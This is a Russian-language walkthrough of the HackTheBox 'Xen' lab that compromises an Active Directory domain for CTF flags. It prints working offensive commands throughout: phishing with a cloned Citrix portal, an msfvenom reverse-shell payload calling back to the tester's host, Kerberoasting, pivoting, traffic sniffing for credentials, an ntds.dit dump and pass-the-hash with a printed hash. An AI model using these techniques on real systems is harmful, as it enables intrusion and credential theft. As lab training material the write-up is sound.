Pull to refresh

HackTheBox endgame. Прохождение лаборатории Xen. Пентест Active Directory

Reading time10 min
Views7.5K
image

В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.

Как сказано в описании, Xen предназначен для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.

Посмотреть разбор еще одной лаборатории Professional Offensive Operations можно здесь.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Intro


Данный endgame состоит из 6 машин, и содержит 6 флагов.

image

Так же дается описание и адрес доступного хоста.

image

Начнем!

Breach flag


Данная машина имеет IP адрес 10.13.38.12, который я добавляю в /etc/hosts.
10.13.38.12 xen.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.12 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A xen.htb -p25,80,443

image

Таким образом, мы имеем службы IIS и SMTP. При этом есть возможность как HTTP, так и HTTPS соединения на 80 и 443 портах. Давайте посмотрим веб — нас встречают простеньким сайтом.

image

Ничего интересного нет, за исключением ссылки “Join the team”, указывающей нам адрес электронный почты jointheteam@humongousretail.com.

image

Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).

gobuster dir -t 128 -u http://xen.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,aspx

image

И находим несколько интересных директорий. Код 401 говорит о наличии HTTP аутентификации, давайте посмотрим в сторону remote.

image

Принимаем, и у нас требуют учетные данные.

image

Нам нужны учетные данные. На этом я решил вернуться к SMTP серверу и перебрать имена пользователей (в качестве списка имен советую использовать тот, что предлагает Metasploit). Сделаем это с помощью smtp-user-enum.

smtp-user-enum -M RCPT -U ./namelist.txt -D humongousretail.com -t xen.htb

image

Мы находим 4 адреса электронной почты. Так как мы видим почту IT службы, мы можем отправить от их имени сообщение всем остальным пользователям. Давайте скопируем страницу авторизации remote, сделаем поддельную и разошлем все пользователям поддельный адрес Remote Portal (на самом деле я был очень удивлен, когда оказалось, что это правильный вектор).

Сделать полную копию страницы можно с помощью расширения SingleFile для Firefox. Далее заглянем в исходный код и изменим данные формы. Первым изменим адрес, куда будут присланы учетные данные, я поставил свой хост и 81 порт.

image

И добавим Submit для отправки данных.

image

Теперь запустим netcat для прослушивания 81 порта, активируем веб-сервер и обратимся к измененному файлу, как к index.html.

image

image

Это работает! Давайте выполним рассылку сообщения о изменении адреса портала.

image

Но вот вектор правильный, а исполнение не очень) Так мы полчим данные, но в роботизированном виде на 80 порт.

image

Таким образом собираем все учетки.

image

И теперь заходим на remote.

image

И нам предлагаю сохранить ICA файл.

image

Далее я установил расширение для Chromium.

image

И подключился как pmorgan (VDESKTOP3).

image

image

Аналогично поступаем и с другими пользователями. И awardel находим первый флаг.

image

И сдаем его.

image

И сохраним собранную информацию.



Deploy flag


Можно заметить, что операционные системы не самые новые, поэтому обязательно должны быть эксплоиты. Давайте кинем шелл meterpreter. Сначала создадим нагрузку.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.14.14.9 LPORT=3434 -f exe > s.exe

image

Теперь запустим листенер metasploit.

handler -H 10.14.14.9 -P 3434 -p windows/x64/meterpreter/reverse_tcp

image

Зайдем через браузер на целевой машине, скачаем и запустим нагрузку. В окне Metasploit заметим подключение в первой сессии.

image

image

Теперь перечислим все эксплоиты для LPE.

image

И есть несколько. Давайте воспользуемся первым, он позволит получить контекст system. Запустим новый листенер.

image

И используем эксплоит.

image

Открывается вторая сессия в контексте SYSTEM.

image

Давайте проверим флаг.

image

И забираем его.





Вот так легко сдаем еще один флаг. Идем далее.

Ghost flag


Для дальнейшей разведки удобно использовать PowerShell, а еще удобней работать через PowerShell Empire (про который я писал тут). Давайте откроем сессию, для этого сперва создадим листенер http и PS лаунчер для него.

> listeners
> uselistener http
> set Host 10.14.14.9
> set Port 5656
> execute
> back
> launcher powershell http



Сохраним лаунчер в файл s.ps1. Для запуска его из памяти через meterpreter нужно загрузить модуль powershell.



И выполним powershell_import.



В окне Empire обнаружим созданный агент.



Для удобной работы переименуем его по названию рабочей станции и перейдем в интерактивный режим.





Для разведки нам нужно определить контроллер домена. Сделаем это с помощью одного прекрасного модуля get_domain_controller из раздела situational_awareness.

> usemodule situational_awareness/network/powerview/get_domain_controller
> run



Так мы получаем информацию о контроллере домена. Теперь давайте перечислим пользователей домена. На данном этапе мне нужно получить имена учетных записей и значение свойства AdminCount, чтобы сразу определить привилегированных пользователей.

> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties samaccountname,admincount
> run



Давайте сразу проверим SPN имена, чтобы определить возможность атаки Kerberoasting.

> usemodule situational_awareness/network/powerview/get_user
> set Server DC.htb.local
> set Properties serviceprincipalname
> run



И есть SPN! Давайте выполним Kerberoasting с помощью того же Empire. Укажем формат вывода — hashcat.

> usemodule credentials/invoke_kerberoast
> set OutputFormat Hashcat
> run



И получаем хеш пользователя. Теперь переберем с помощью hashcat.

hashcat -m 13100 -a 0 krb.hash rockyou.txt --force

В словаре rockyou данный пароль не обнаружен, поэтому я поставил перебор по всем словарям из Seclists. Но этот вариант тоже потерпел неудачу. Последний вариант — воспользоваться NSA правилами.



Как представлено в репозитории, dive — лучший вариант, поэтому используем его вторую версию.

hashcat -m 13100 krb.hash rockyou.txt -r nsa-rules/_NSAKEY.v2.dive.rule -debug-mode=1 -debug-file=rule.txt -d 2



И мы получаем пароль данного пользователя. Для дальнейшего продвижения давайте просканируем локальную сеть. Лучше всего это сделать с помощью с помощью ARP сканирования, так как ICMP может быт заблокирован. В этом нам поможет модуль arpscan.Мы знаем адрес и маску сети, поэтому зададим диапазон хостов.

> usemodule situational_awareness/network/arpscan
> set Range 172.16.249.0-172.16.249.255
> run



Так… Из этого списка мы не знаем два хоста: 201 и 202. Давайте проверим общие ресурсы в домене. Из параметров нам нужен только адрес контроллера домена.

> usemodule situational_awareness/network/powerview/share_finder
> set Server DC.htb.local
> run



С каждым сканированием наше представление о сети расширяется, давайте узнаем, что за хост CITRIX.htb.local.



Ниже представлена аккумулируемая нами информация.



Чтобы взаимодействовать с ресурсами во внутренней сети, нам необходимо настроить туннель. Сделаем это в активной сессии meterpreter с помощью команды autoroute, а в качестве параметра укажем адрес внутренней сети и маску (с параметром -p можем проверить активные маршруты).

run autoroute -s 172.16.249.0/24 



Теперь, когда мы добавили маршрут к целевой сети, мы воспользуемся вспомогательным средством socks4a изнутри платформы. Вспомогательный модуль auxiliary/server/socks4a предоставляет прокси-сервер, который использует инфраструктуру маршрутизации Metasploit, которую мы создали для ретрансляции соединений.



А в качестве клиента-перенаправителя используем proxychains. Изменим его конфиг /etc/proxychains.conf, указав порт, установленный metasploit (порт по умолчанию 1080).



И для найденного пользователя доступна для чтения директория Citrix$. Так как proxychains выводит информацию о подключении, уберем ее с помощью перенаправления 2>/dev/null.

proxychains cme smb -u mturner -p '4install!' -d htb.local 172.16.249.201 --share "Citrix$" --shares 2>/dev/null



Давайте посмотрим все, что нам доступно на этом ресурсе.

proxychains smbmap -u mturner -p '4install!' -d htb.local -H 172.16.249.201 -R 2>/dev/null



И мы находим флаг, а также ppk файл. Давайте получим все файлы.

sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install!



При подключении получаем ошибку, устранить которую можно указав опцию client min protocol.

sudo proxychains smbclient //172.16.249.201/Citrix$ -U htb.local\\mturner%4install! --option='client min protocol=NT1' 2>/dev/null



И сдадим флаг.





Camouflage flag


Давайте разберемся с приватным ключем Putty.



Данный приватный ключ зашифрован и предназначен для авторизации по SSH. Давайте переберем пароль, предназначенный для расшифрования ключа. Для этого сперва переформатируем ключ в john формат.



Но перебрать по стандартным словарям не вышло, и мне подсказали отличный инструмен генерации “удобно набираемых” паролей — kwprocessor. Давайте создадим словарь.

./kwp -o key-dict.txt basechars/tiny.base keymaps/en.keymap routes/2-to-32-max-5-direction-changes.route



И мы успешно нашли 16-символьный пароль.

john --wordlist=./kwprocessor/key-dict.txt putty.john



Так как у меня Linux, мне удобней работать с обычным SSH клиентом. Переформатируем ключ в данный формат.

sudo apt install putty-tools
puttygen private.ppk -O private-openssh -o id_rsa

Теперь определимся, куда мы с ним можем попасть. Для этого просканировал внутреннюю сеть, чтобы найти открытый 22 порт.

proxychains nmap -p22 172.16.249.200-205 2>/dev/null



И находим, но об этом хосте мы еще ничего не знаем. Попытавшись подключиться без имени, получаем интересное сообщение и запрос пароля.



Перебор по именам известных нам пользователей результата не принес. Сканирование nmap данного сервиса с использованием скриптов тоже ничего не дало.



Тогда я просканировал все порты на хосте. Но дожидаться конца сканирования не стал, так как оно шло очень долго, благо в информации proxychains можно было наблюдать, доступен порт или нет.



Так как был доступен 80 порт, я установил прокси в браузере и зашел посмотреть что там.



Нас встречает страница авторизации Citrix NetScaler. И гугл выводит нас на документацию, в которой мы узнаем логин по умолчанию.





И с данным логин мы успешно подключаем по SSH.



Побродив на сервере, я посмотрел материалы по атакам на подобный вид оборудования, одной из которых является мониторинг трафика. Таким образом, я оставил активный на некоторое время tcpdump и получил дамп трафика.

tcpdump -s0 -w r.pcap



Теперь скачаем данный файл.

proxychains scp -i id_rsa nsroot@172.16.249.202:/root/r.pcap ./

И для быстрого поиска учетных данных используем PCredz.



И получаем еще флаг.



Doppelganger flag


Но данная программа смотрит не все, поэтому необходимо проанализировать дамп на наличие различных секретов или токенов. Отсортировав пакеты по протоколу, добираемся до LDAP и находим bindRequest’ы двух пользователей, в которых есть пароль (один мы уже нашли).





Проверим этот пароль для данного пользователя.

proxychains cme smb -u "netscaler-svc" -p "#S3rvice#@cc" -d htb.local 172.16.249.200 2>/dev/null



Данный пользователь ничем не примечателен, кроме того, что это пользователь службы. Часто пароли таких пользователей совпадают с паролями других пользователей домена. Давайте проверим, каким еще пользователям подойдет данный пароль. Я сделал это с помощью metasploit.

proxychains msfconsole 2>/dev/null
> use auxiliary/scanner/smb/smb_login
> set SMBDomain htb.local
> set RHOSTS 172.16.249.200
> set USER_FILE ~/tmp/users.txt
> set PASS_FILE ~/tmp/passwords.txt
> set VERBOSE false
> run



И данный пароль подошел ко всем учетным записям служб. Как мы выяснили ранее, учетная запись backup-svc является привилегированной, а это значит, что для нее разрешен вход на контроллер домена. Проверим открытые порты RDP (3389) и WinRM (5985) служб.

proxychains nmap -p 3389,5985 172.16.249.200 2>/dev/null



Оба метода входа возможны, но я предпочитаю WinRM. Выполним вход с помощью программы Evil-WinRM.

proxychains evil-winrm -i 172.16.249.200 -u backup-svc -p "#S3rvice#@cc" 2>/dev/null



И забираем еще один флаг.



Owned flag


Посмотрев информацию о данном пользователе, видим его членство в привилегированных группах, благодаря чему мы можем выполнить копирование файла ntds.dit и извлечб учетные данные пользователей домена.

whoami /all



Из методов дампа файла ntds успешно выполняется вариант с discshadow. Давайте авторизуемся по RDP. В качестве клиента я использую remmina.

proxychains remmina





И нас встречает окно командной строки.



Войдем в контекст diskshadow.



И создадим копию — диск Z.

set context persistence nowriters
add volume c: alias sss
create 
expose %sss% z:



Проверим, и увидим копию файла ntds.dit.



Еще нам нужен файл System, чтобы расшифровать базу ntds, но его получить легче.

reg.exe save hklm\system C:\Users\backup-svc\Documents\system.bak



Но это еще не все, ведь просто так файл ntds не скопировать. Для этого используем следующий инструмент. Для начала загружаем на хост обе DLL.



И загружаем в память.



Теперь активируем себе привелегию и проверим, что она в состоянии Enabled.

Set-SeBackupPrivilege
Whoami /priv | findstr Backup



Отлично, теперь копируем файл.

Copy-FileSeBackupPrivilege z:\windows\ntds\ntds.dit C:\Users\backup-svc\Documents\ntds.dit

А теперь скачиваем на локальный хост файлы ntds и system (и именно в этот момент лаборатория закрывается и я теряю доступ, прям во время загрузки файлов… Оказалось, что лаборатория стала доступна только пользователям с подпиской (ушла на дорешивание) и я не могу закончить прохождение! Но большое спасибо @kemstat, что поделился на время ВИП конфигом ВПН, дабы я дописал данное прохождение). Давайте достанем учетные данные.

secretsdump.py -ntds ndts.dit -system system.bak LOCAL



И есть хеш администратора. Теперь используем атаку PTH для подключения к серверу. Но psexec (подключение через SMB) не дает нам прочитать файл.





А вот WMI дает нам неограниченный доступ и мы получаем привилении администратора домена и последний флаг.

proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be Administrator@172.16.249.200 2>/dev/null



Вот и все. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи и была ли она Вам полезна.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Tags:
Hubs:
+8
Comments0

Articles

Change theme settings